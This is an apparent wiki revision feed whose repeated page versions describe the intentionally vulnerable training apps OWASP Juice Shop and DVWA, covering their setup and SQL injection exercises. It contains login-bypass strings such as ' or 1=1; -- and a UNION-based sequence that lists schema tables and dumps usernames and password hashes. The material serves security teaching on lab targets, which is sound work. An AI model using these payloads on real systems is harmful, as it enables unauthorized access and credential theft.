OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command &#039;&#039;&amp;quot;npm start&amp;quot;&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then you can see which port is open, and open any browser and enter &#039;&#039;“localhost: [port]“&#039;&#039;&amp;lt;(br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5514</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5514"/>
		<updated>2020-12-21T18:46:35Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
Node.js must be installed on the device. Then you  can  download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command &amp;quot;npm start&amp;quot;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Then you can see which port is open, and open any browser and enter “localhost: [port]“&amp;lt;(br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5512</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5512"/>
		<updated>2020-12-21T18:42:01Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Architecture: */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
Node.js must be installed on the device. Then you  can  download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command &amp;quot;npm start&amp;quot;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Then you can see which port is open, and open any browser and enter “localhost: [port]“&amp;lt;(br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5511</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5511"/>
		<updated>2020-12-21T18:41:31Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Architecture: */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[JS_Architectur.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
Node.js must be installed on the device. Then you  can  download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command &amp;quot;npm start&amp;quot;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Then you can see which port is open, and open any browser and enter “localhost: [port]“&amp;lt;(br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5510</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5510"/>
		<updated>2020-12-21T18:41:09Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Architecture: */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[JS Architectur.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
Node.js must be installed on the device. Then you  can  download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command &amp;quot;npm start&amp;quot;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Then you can see which port is open, and open any browser and enter “localhost: [port]“&amp;lt;(br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=5509</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=5509"/>
		<updated>2020-12-21T18:39:37Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web app. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
The example is also based on the SQL injection vulnerability.&lt;br /&gt;
*In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result.&lt;br /&gt;
*First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% &#039;Or 0 = 0 union select null, user () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’Or 0 = 0 union select null, database () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA sqldatabase.PNG|500px|center]]&lt;br /&gt;
[[File:DVWA sqluser.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*To display all tables of the information schema, you must enter the following command in the search field. &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’And 1 = 0 union select null, table \ _name from information_schema.tables #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The information schema is the place where information is shared with everyone else databases are stored.&amp;lt;/br&amp;gt;&lt;br /&gt;
*We want to display the login data such as username and password. To do this, we should look for the &#039;User&#039; table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% &#039;And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =&#039; users&#039; #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
*Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).&lt;br /&gt;
[[File:DVWA hashpassword.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=5508</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=5508"/>
		<updated>2020-12-21T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web app. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
The example is also based on the SQL injection vulnerability.&lt;br /&gt;
*In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result.&lt;br /&gt;
*First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% &#039;Or 0 = 0 union select null, user () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’Or 0 = 0 union select null, database () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA sqldatabase.PNG|500px|center]]&lt;br /&gt;
[[File:DVWA sqluser.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*To display all tables of the information schema, you must enter the following command in the search field. &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’And 1 = 0 union select null, table \ _name from information_schema.tables #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The information schema is the place where information is shared with everyone else databases are stored.&amp;lt;/br&amp;gt;&lt;br /&gt;
*We want to display the login data such as username and password. To do this, we should look for the &#039;User&#039; table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% &#039;And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =&#039; users&#039; #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
*Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).&lt;br /&gt;
[[File:DVWA hashpassword.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=5507</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=5507"/>
		<updated>2020-12-21T18:33:18Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Installation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web app. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
